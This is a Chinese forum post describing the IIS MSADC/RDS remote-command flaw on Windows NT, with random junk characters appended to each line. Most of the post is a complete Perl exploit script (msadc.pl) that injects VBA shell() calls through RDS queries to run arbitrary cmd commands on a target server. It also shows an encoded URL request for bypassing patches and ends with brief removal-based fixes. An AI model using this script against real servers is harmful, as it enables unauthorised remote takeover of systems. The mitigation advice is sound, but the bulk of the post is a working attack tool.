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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) /@e\I0P^  
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涉及程序: V;=T~K|)>  
Microsoft NT server 8%B @[YDe  
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描述: ( d.i np(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 >6j`ZWab>  
zQJbZ=5Bu"  
详细: b%F*Nr  
如果你没有时间读详细内容的话,就删除: x&wUPo{  
c:\Program Files\Common Files\System\Msadc\msadcs.dll d=XhOC$  
有关的安全问题就没有了。 |@nXlZE  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 To+{9"$,  
8*ysuL#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 xPv&(XZR  
关于利用ODBC远程漏洞的描述,请参看: h&{pMmS3,  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w,7 GC5j\  
V{r@D!}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A{vG@Pwc:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp E}u\{uY  
B#}RMFIj  
这里不再论述。 `JCC-\9T_  
-XBNtM_ "  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: l=yO]a\QZ  
ADDpm-]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -rfO"D>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! V !$m{)Y  
s_N!6$tS   
0=iJT4IEJ  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  W~4|Z=f  
KpL82  
#!perl xXtDGP  
# ^B/{  
# MSADC/RDS 'usage' (aka exploit) script rRW&29A  
# &wfM:a/c  
# by rain.forest.puppy |V& k1{V  
# .:0nK bW  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Z3d&I]Tf  
# beta test and find errors! f]4gDmn^  
h4C B1K  
use Socket; use Getopt::Std; aw`mB,5U  
getopts("e:vd:h:XR", \%args); 2iu;7/  
<fxYTd<#D[  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^]kDYhe*Y  
+^.(3Aw  
if (!defined $args{h} && !defined $args{R}) { q0}LfXql8  
print qq~ LYKepk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } sf LBi~*j  
-h <host> = host you want to scan (ip or domain) 8c#*T%Vf  
-d <seconds> = delay between calls, default 1 second  2r[,w]  
-X = dump Index Server path table, if available UkUdpZ.[il  
-v = verbose C`ok{SNtUy  
-e = external dictionary file for step 5 %<klz)!t  
9Y(<W_{/  
Or a -R will resume a command session lk}x;4]Z  
CH2o[&  
~; exit;} Msf yI B  
R~b$7jpd  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :V [vE h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X qh+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _LK(j;6K}  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); C5m*pGImG  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} G100L}d"N  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;Wr$hDt^  
SWu=n1J.?H  
if (!defined $args{R}){ $ret = &has_msadc; 84k;d;  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Y9C]-zEv  
zr,jaR;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Cpr}*A   
. "cmd /c "; p|Ln;aYc  
$in=<STDIN>; chomp $in; &EMm<(.]a  
$command="cmd /c " . $in ; sU>*S$X8  
</eh^<_~  
if (defined $args{R}) {&load; exit;} Z?~7#F~Z`  
C][`Dk\D{  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; CyE.q^Wm  
&try_btcustmr; =(o$1v/k  
UuN(+&oD-  
print "\nStep 2: Trying to make our own DSN..."; umi#Se3&  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; J[9jNCq|  
OAv/P|n=  
print "\nStep 3: Trying known DSNs..."; N%0Z> G  
&known_dsn; 9 i"3R0HN  
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print "\nStep 4: Trying known .mdbs..."; 2oN lQiE_  
&known_mdb; Yd@9P 2C  
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if (defined $args{e}){ h"[ ][  
print "\nStep 5: Trying dictionary of DSN names..."; >IRo]-,  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } YpiSH(70`  
pDu~84!])  
print "Sorry Charley...maybe next time?\n"; /HLQ  
exit; 5K8\hoW{  
Si;e_a  
############################################################################## zdY`c  
+q3W t|  
sub sendraw { # ripped and modded from whisker ).-FuL4Y  
sleep($delay); # it's a DoS on the server! At least on mine... fx*Swv%r  
my ($pstr)=@_; Z*JZ Ubo-Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || C?z C|0  
die("Socket problems\n"); (bXCc  
if(connect(S,pack "SnA4x8",2,80,$target)){ i22R3&C  
select(S); $|=1; Q (`IiV   
print $pstr; my @in=<S>; Na#2sb[)  
select(STDOUT); close(S); HG Pbx$!  
return @in; Tux~4W  
} else { die("Can't connect...\n"); }} R^D~ic N  
!OiP<8 ,H  
############################################################################## FrB19  
Rq;R{a  
sub make_header { # make the HTTP request  p.zU9rID  
my $msadc=<<EOT &fW;;>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -QRKDp  
User-Agent: ACTIVEDATA &We'omq  
Host: $ip J?%Z7&/M>  
Content-Length: $clen w=OT^d 9n  
Connection: Keep-Alive wTOB'  
;]p#PNQ0  
ADCClientVersion:01.06 2(UT;PSI  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 0\.y0 K8  
WC`<N4g|  
--!ADM!ROX!YOUR!WORLD!  ;v.l<AOE  
Content-Type: application/x-varg $?0<rvGJ  
Content-Length: $reqlen 1y 6H2  
\&SP7~-eq  
EOT M5D,YC3<  
; $msadc=~s/\n/\r\n/g; *@n%K,$v  
return $msadc;} K~[/n<ks  
Qg3 -%i/@  
############################################################################## olh|.9Kdj}  
?vvjwys@  
sub make_req { # make the RDS request "ibKi=  
my ($switch, $p1, $p2)=@_; R_/T bz  
my $req=""; my $t1, $t2, $query, $dsn; +W-sb5)  
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if ($switch==1){ # this is the btcustmr.mdb query !DLIIKO78  
$query="Select * from Customers where City=" . make_shell(); -O oXb( I4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . $+$+;1[  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} sjztT<{Q^-  
t@b';Cuv  
elsif ($switch==2){ # this is general make table query #*?a"  
$query="create table AZZ (B int, C varchar(10))";  ~B/|#o2  
$dsn="$p1";} )5bhyzSZI  
TMGZHOAt  
elsif ($switch==3){ # this is general exploit table query Dj?9 5Z,r  
$query="select * from AZZ where C=" . make_shell(); 16x M?P  
$dsn="$p1";} pp/Cn4"w  
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elsif ($switch==4){ # attempt to hork file info from index server 9-9`;Z  
$query="select path from scope()"; c_%vD~6W-  
$dsn="Provider=MSIDXS;";} b>G!K)MS3  
C}wmoYikV  
elsif ($switch==5){ # bad query {DAwkJvb]  
$query="select"; Rg+V;C C~  
$dsn="$p1";} xqLLoSte  
GQT|T0>Ro  
$t1= make_unicode($query); ,>e)8  
$t2= make_unicode($dsn); i_I`Y  
$req = "\x02\x00\x03\x00";  _8t{4C  
$req.= "\x08\x00" . pack ("S1", length($t1)); z;1yZ4[G  
$req.= "\x00\x00" . $t1 ; =U2`]50  
$req.= "\x08\x00" . pack ("S1", length($t2)); RKRk,jRL  
$req.= "\x00\x00" . $t2 ; }[? X%=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  gryC#  
return $req;} mR?OSeeB  
R$wo{{KX  
############################################################################## s!uewS.  
Au@U;a4UU  
sub make_shell { # this makes the shell() statement !%sj-RMvG  
return "'|shell(\"$command\")|'";} X`[or:cB  
k'EP->r  
############################################################################## Z-Zox-I1}-  
L7C!rS  
sub make_unicode { # quick little function to convert to unicode !c'a<{d@  
my ($in)=@_; my $out; k(!#^Mlz[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } kC6J@t)  
return $out;} BPtU]Bv-  
Ig*!0(v5$  
############################################################################## x>7}>Y*(  
HtPasFrJ  
sub rdo_success { # checks for RDO return success (this is kludge) UjUDP>iz.>  
my (@in) = @_; my $base=content_start(@in); R 8?Xz5  
if($in[$base]=~/multipart\/mixed/){ NgQ {'H[Y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} OV^) N  
return 0;} ;}WdxWw4  
V]<J^m8  
############################################################################## @<r  ;>G  
L:j;;9Sp{  
sub make_dsn { # this makes a DSN for us  E*i <P  
my @drives=("c","d","e","f"); ^DM^HSm  
print "\nMaking DSN: "; #|xK> ;  
foreach $drive (@drives) { nu|;(ly  
print "$drive: "; %Gh!h4Pv  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ut fD$8UI  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H~Hh $-z  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); u6$fF=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; >@` D@_v  
return 0 if $2 eq "404"; # not found/doesn't exist ]t(;bD hT  
if($2 eq "200") { `pOiv&>  
foreach $line (@results) { =;`+^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} !ku5P+y$  
} return 0;} [r<lAS{ .  
CZuV{Oh}?  
############################################################################## L1 O\PEeT  
P]bI".A8  
sub verify_exists { &FW|O(]  
my ($page)=@_; *C}vy`X  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 1-Sc@WXd  
return $results[0];} f@]4udc e  
'OK)[\  
############################################################################## ix [aS  
%\Z{~(&-v  
sub try_btcustmr { uF/l,[0v  
my @drives=("c","d","e","f"); #EgFB}>1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wspZ Eu>C;  
i9 8T+{4  
foreach $dir (@dirs) { %D:Mt|  
print "$dir -> "; # fun status so you can see progress DfXXN  
foreach $drive (@drives) { Rbm"Qz  
print "$drive: "; # ditto ]Wa.k  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Q7mikg=1-  
$reqlenlen=length( "$reqlen" ); cf%2A1I2W  
$clen= 206 + $reqlenlen + $reqlen; C MGDg}  
;H?tcb*  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); WO^]bR  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vsYbR3O  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _m%Ab3iT~  
9.6ni1a'  
############################################################################## )2:U]d%pk  
6/Z_r0^O  
sub odbc_error { IhK%.B{dZ  
my (@in)=@_; my $base; "|PX5  
my $base = content_start(@in); ~C?)- ]bF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this KHeeB`V>J  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7!6v4ZA  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; E*+]Iq1u  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v,iq,p)&  
return $in[$base+4].$in[$base+5].$in[$base+6];} o$}$Z&LK  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; zIU6bMMT3u  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . A "'h0D  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1IK*j +%  
F9q!Upr_+  
############################################################################## LftGA7uGJ)  
zq|NltK  
sub verbose {  ]l  
my ($in)=@_; SUsdX[byb  
return if !$verbose; _0Y?(}  
print STDOUT "\n$in\n";} #aKUD  
JPg^h  
############################################################################## \e%%ik,<  
_) UnHp_^  
sub save { un)PW&~E  
my ($p1, $p2, $p3, $p4)=@_; UGoB7TEfn  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; h6;zAM}  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; W"tGCnd  
close OUT;} #smfOGSd  
58o&Dv6?  
############################################################################## U.N& ~S  
Xl>ZnI];  
sub load { -L wz T  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; w@a|_?  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ')(U<5y)  
@p=<IN>; close(IN); 6O*lZNN  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); >.hDt9@4  
$target= inet_aton($ip) || die("inet_aton problems"); M{YN^ Kk  
print "Resuming to $ip ..."; (/!zHq  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; !d95gq<=>  
if($p[1]==1) { \|Y_,fi  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 5wv7]F<  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !'Hd:oD<  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); =RofC9,  
if (rdo_success(@results)){print "Success!\n";} m RC   
else { print "failed\n"; verbose(odbc_error(@results));}} V2'5doo  
elsif ($p[1]==3){ hXD/  
if(run_query("$p[3]")){ 6E_YUk?KW  
print "Success!\n";} else { print "failed\n"; }} =(v'8?--  
elsif ($p[1]==4){ zV"'-iP  
if(run_query($drvst . "$p[3]")){ <." @H<-`*  
print "Success!\n"; } else { print "failed\n"; }} &@D\4b,?nm  
exit;} z<9Llew^e  
'7.4!I0'  
############################################################################## +IlQZwm~  
 gq} c  
sub create_table { df&.!7_R`  
my ($in)=@_; gy"<[N .?c  
$reqlen=length( make_req(2,$in,"") ) - 28; ,!P}Y[|  
$reqlenlen=length( "$reqlen" ); bb-u'"5^]  
$clen= 206 + $reqlenlen + $reqlen; O! _d5r&,  
my @results=sendraw(make_header() . make_req(2,$in,"")); KNOVb=# f_  
return 1 if rdo_success(@results); 2M+ *VO  
my $temp= odbc_error(@results); verbose($temp); CKC5S^Mx  
return 1 if $temp=~/Table 'AZZ' already exists/; A5sz[k  
return 0;} J58S8:c  
^RYq !l$  
############################################################################## Nc?'},  
3L{)Y`P  
sub known_dsn { ENFM``dV#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2{B ScI5K  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", iMQ0Sq-%1  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (N`GvB7;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4Ujy_E?^  
ej \S c7.  
foreach $dSn (@dsns) { Epm8S}6K  
print "."; #IU^(W  
next if (!is_access("DSN=$dSn")); 6S0Gjekr  
if(create_table("DSN=$dSn")){ A!R'/m'VG  
print "$dSn successful\n"; a`LkP%  
if(run_query("DSN=$dSn")){ D?4bp'0 3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4EaxU !BT  
print "Something's borked. Use verbose next time\n";}}} print "\n";} .sKfwcYu4  
/+m2|Ij(  
############################################################################## pv"s!q&  
|AS<I4+&  
sub is_access { f{P?|8u  
my ($in)=@_; ]oC"gWDYu  
$reqlen=length( make_req(5,$in,"") ) - 28; ! w;/J^  
$reqlenlen=length( "$reqlen" ); [c v!YE  
$clen= 206 + $reqlenlen + $reqlen; -TS,~`O  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8fP TxvXqL  
my $temp= odbc_error(@results); >oC{YYcK  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `O0y8  
return 0;} d;{k,rP6  
O9AFQ)u   
############################################################################## Ep3I*bQ Y  
aS~~*UHW  
sub run_query { [* @ +  
my ($in)=@_; eDvh3Y<D  
$reqlen=length( make_req(3,$in,"") ) - 28; `oM'H+  
$reqlenlen=length( "$reqlen" );  "+Sq}WR  
$clen= 206 + $reqlenlen + $reqlen; _z9~\N/@[  
my @results=sendraw(make_header() . make_req(3,$in,"")); F 6C7k9  
return 1 if rdo_success(@results); XC O8A\  
my $temp= odbc_error(@results); verbose($temp); vb}c)w dp?  
return 0;} dEW= V"W  
c6SXz%'k  
############################################################################## jINI<[v[  
)UyJ.!Fly  
sub known_mdb { '6L@l  
my @drives=("c","d","e","f","g"); U=5~]0g  
my @dirs=("winnt","winnt35","winnt351","win","windows"); M4% 3a j  
my $dir, $drive, $mdb; (^E5y,H<g  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; G#A6<e/  
3{wuifS  
# this is sparse, because I don't know of many 6{yn;D4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", _'*(-K5&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r`< x@,  
"\\system32\\certmdb.mdb", 8q; aCtei  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %P:|B:\<  
[6Sk>j  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", vG\ b `  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @jrxbo;5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^)C#  
"\\cfusion\\cfapps\\security\\realm_.mdb", ew]G@66  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7nP{a"4_  
"\\cfusion\\database\\cfexamples.mdb", W_,7hvE?"H  
"\\cfusion\\database\\cfsnippets.mdb", y9w,Su2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", }w8yYI  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", zL'S5'<F|  
"\\cfusion\\brighttiger\\database\\cleam.mdb", N>1d]DrQR  
"\\cfusion\\database\\smpolicy.mdb", ef/43+F^x  
"\\cfusion\\database\cypress.mdb", >Psq" Xj  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", a2/Mf   
"\\website\\cgi-win\\dbsample.mdb", fzvyR2 I  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |nGv:= H@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |$~]|SK  
); #these are just v5U'ky :  
foreach $drive (@drives) { [(&aVHUj  
foreach $dir (@dirs){ qk(bA/+e  
foreach $mdb (@sysmdbs) { !!w(`kmn1  
print "."; 9vSKIq  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <FI*A+I4\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; IreY8.FND  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ g yhy0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; \,r* -jr  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 0j 8`M"6  
afzx?ekdF  
foreach $drive (@drives) { ?e,:x ]\L  
foreach $mdb (@mdbs) { >y(loMl  
print "."; mIqm/5  
if(create_table($drv . $drive . $dir . $mdb)){ '?g&);4)k-  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0Ng?U+6  
if(run_query($drv . $drive . $dir . $mdb)){ M^>l>?#rl  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; lcgG5/82  
} else { print "Something's borked. Use verbose next time\n"; }}}} L4bYVTm|  
} eZ-fy,E  
@u: `  
############################################################################## w~Nat7nD  
Cpy&2o-%v  
sub hork_idx { }X/YMgJ  
print "\nAttempting to dump Index Server tables...\n"; `(=?k[48  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; c]bG5  
$reqlen=length( make_req(4,"","") ) - 28; $Sa7N%D  
$reqlenlen=length( "$reqlen" ); 4=;j.=>0X  
$clen= 206 + $reqlenlen + $reqlen; 'GiN^Y9dcc  
my @results=sendraw2(make_header() . make_req(4,"","")); .w'b%M  
if (rdo_success(@results)){ -=5~-72~  
my $max=@results; my $c; my %d; %r*,m3d  
for($c=19; $c<$max; $c++){ 0Ub'=`]5a  
$results[$c]=~s/\x00//g; EuImj#Zl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; He}?\C Bo  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [-\U)>MY(p  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; .D\oKhV(  
$d{"$1$2"}="";} [IAk9B.\  
foreach $c (keys %d){ print "$c\n"; } b;#_?2c  
} else {print "Index server doesn't seem to be installed.\n"; }} $)BPtGMGo  
lyyf&?2  
############################################################################## \7pEn  
^:}C,lIrG  
sub dsn_dict { y6x./1Nb}<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); FK94CI  
while(<IN>){ `!(%R k  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p<}y'7(  
next if (!is_access("DSN=$dSn")); ,v#n\LD`  
if(create_table("DSN=$dSn")){ a|.IAxJ  
print "$dSn successful\n"; Q"GM3?  
if(run_query("DSN=$dSn")){ F`2h,i-9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }V`_ (%Q-e  
print "Something's borked. Use verbose next time\n";}}} -KH"2q  
print "\n"; close(IN);} o?j8"^!7  
xXa4t4gR  
############################################################################## T?6<1nU)  
$#2<f 6  
sub sendraw2 { # ripped and modded from whisker 5 6.JB BZZ  
sleep($delay); # it's a DoS on the server! At least on mine... P1B=fgT  
my ($pstr)=@_; >VQLC&u(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || svb7-.!  
die("Socket problems\n"); u86PTp+  
if(connect(S,pack "SnA4x8",2,80,$target)){ NGkxg:  
print "Connected. Getting data"; TW70z]B  
open(OUT,">raw.out"); my @in; [{Q$$aV1  
select(S); $|=1; print $pstr; +"bi]^\z  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Cc,V ]  
close(OUT); select(STDOUT); close(S); return @in; \Q1&w2mw  
} else { die("Can't connect...\n"); }} .:B>xg~2  
);6f8H@G  
############################################################################## kWy@wPqms  
b-#lKW so  
sub content_start { # this will take in the server headers D6+3f #k6  
my (@in)=@_; my $c; "5O>egt  
for ($c=1;$c<500;$c++) { CR%h$+dzy  
if($in[$c] =~/^\x0d\x0a/){ }#%Y eCA?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } -!O8V  
else { return $c+1; }}} z,7;+6*=L  
return -1;} # it should never get here actually @:#J^CsM+'  
+G[zE  
############################################################################## ZH8w^}  
(_CvN=A  
sub funky { ^FBu|e AkE  
my (@in)=@_; my $error=odbc_error(@in); Kg2Du'WQ^  
if($error=~/ADO could not find the specified provider/){ MSeg7/MF  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; =T&<z_L  
exit;} e84%Y8,0  
if($error=~/A Handler is required/){ SK^(7Ws~0  
print "\nServer has custom handler filters (they most likely are patched)\n"; R8eBIJ/@_  
exit;} Dq$1 j%4Y  
if($error=~/specified Handler has denied Access/){ ~gGkw#  
print "\nServer has custom handler filters (they most likely are patched)\n"; Az8ZA~Op=  
exit;}} QV:> x#=V  
<eS/-W %n6  
############################################################################## !Ko>   
!G0Mg; ,  
sub has_msadc { Kg"eS`-  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); c$L1aZo  
my $base=content_start(@results); gO "G/  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z=g!mVK5  
return 0;} #\n* Qg4p  
% XZ&(  
######################## /IJy'@B  
%6 GM[1__  
*AGf'+j*z  
解决方案: 9#&H'mG  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^B} m~qT  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \R]2YY`EP  
Og1vD5a  
拿出来充数 哈哈
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